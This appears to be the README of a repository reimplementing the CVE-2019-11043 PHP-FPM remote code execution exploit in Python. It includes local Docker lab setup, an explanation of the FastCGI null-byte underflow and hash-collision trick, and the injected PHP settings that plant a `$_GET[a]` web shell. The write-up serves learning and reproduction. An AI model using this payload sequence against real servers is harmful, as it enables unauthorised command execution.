/CVE-2019-11043

PHP-FPM Remote Command Execution Exploit

Primary LanguagePython

CVE-2019-11043

PHP-FPM Remote Code Execution

Screencast: https://youtu.be/d6benC5FVZM

Overview

This zero-day exploit in common PHP-FPM configurations was discovered during the Realworld CTF competition in 2019. A regular expression is used to parse the requested URI, but newline characters %0a are not matched. This triggers a bug in FastCGI which computes the query string length incorrectly and writes a null byte to a location before the start of the intended buffer. By careful selection of the query string length, an attacker can use this bug to overwrite internal PHP variables on the server and execute arbitrary shell code.

The original Go implementation of this exploit can be found in here. I have used this, a write up and the original bug report as learning resources in order to implement the exploit in Python.

Instructions

Docker on Linux Run sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 to instantiate a barebone NGINX/PHP-FPM server with an empty script at /script.php. The Dockerfile for this image is available here, though it is not needed to run the aforementioned command.

Docker on Mac Run sudo docker-compuse up -d from the /php/CVE-2019-11043 directory of the vulhub repository. (Compose is included with Docker for Mac.)

Run the exploit script with the command python3 exploit.py http://localhost:8080/script.php (or /index.php if the second option was used). Upon successful execution, a Web shell will be accessible by appending commands to the URL after ?a= (e.g., http://localhost:8080/script.php?a=uname -a).

N.B. I did attempt to create an Ansible playbook for this assignment, but I came up against a show-stopping bug documented here. It is not possible to start systemd services on recent Linux kernels (e.g., any Ubuntu LTS release) with an Ansible playbook.

Theory

Vulnerability

PHP-FPM configuration files contain a rule for matching incoming URI requests to PHP scripts which often look like this:

location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}

This should match any URI in the form /script.php/pathinfo, but . actually doesn't match new line %0a characters. If the URI contains a new line, it will trigger the following bug in the PHP implementation:

1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* recall that PATH_INFO won't exist */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }

The issue here is that slen is correctly computed as the length of the URI minus the length of the resource path, but pilen is mistakenly set to 0. This sets path_info to a negative value on line 1151, resulting in a buffer underflow. Immediately after this miscalculation in the same file, we have:

1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;

On line 1161, a null byte is written to the miscalculated memory location from the previous step. This can be leveraged to exploit a vulnerability on line 1165, where FastCGI writes an environment variable. By writing the null byte into the pointer controlling the environment variable write operation, we can insert abitrary PHP variables into the environment with our HTTP requests.

Exploit

FastCGI Internal Data Structures

The environment variables in FastCGI are stored in a tightly packed sequence of key-value string pairs in memory. The start and end of the buffer holding these strings is called _fcgi_data_seg. The pos member points to the next available place to write. If the buffer fills up (pos > end), a new one is allocated and the next member points towards the old one.

118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;

FastCGI accesses individual environment variables using a hash table called _fcgi_hash.

125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;

The idea here is to overwrite the least significant byte of pos in order to trick FastCGI into overwriting an existing variable. The code is supposed to take the string appended to our URI path and place it in the location for PATH_INFO. However, we want to overwrite PHP_VALUE, because this value is immediately retrieved and loaded into the PHP settings after the vulnerable code segnment.

Data Alignment

As you can see in exploit.py, the general premise of this exploit is to find a very long URI query that will align FastCGI's internal memory buffer in a way we can abuse. The idea is to find the exact number of characters required for FastCGI to allocate a new _fcgi_data_seg buffer. When this occurs, FastCGI will predictably write our PATH_INFO into the new buffer, followed immediately by each of our HTTP headers as new environment values. So, the next step is to find how many characters we need to pad an arbitrary HTTP header with in order to align memory for our purposes. Since we are limited to writing on null byte to an arbitrary location, we need to get pos pointed at a predictable offset to PHP_VALUE so that editing the least significant byte will move it there.

Hash Table Circumvention

The challenge is that we want to overwrite PHP_VALUE, but we don't know where this is located in memory. When FastCGI loads this variable, it will hash the string PHP_VALUE to get the actual memory address according to a simple algorithm:

31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)

Instead of actually modifying the hash table in some way, all we have to do is create another environment variable with the same string length and hash as PHP_VALUE according to this function. This will trick the hash lookup into reading our HTTP header instead of the intended variable. The author of this exploit cleverly noted that a header called EBUT will be saved as HTTP_EBUT in the FastCGI environment, which fulfills this requirement.

Code Injection

For the attack itself, we send GET requests containing our EBUT header and use the null byte overwrite bug to overwrite its value. We attempt to set PHP environment variables one at a time with repeated requests:

short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"

Successful modification of all of these variables enables a new query ?a= on the server for arbitrary shell code execution. The attack loop checks for success on each iteration by attemptying to execute which which. The attacker can easily detect whether this was successful by reading result from the HTTP response (e.g., /bin/which).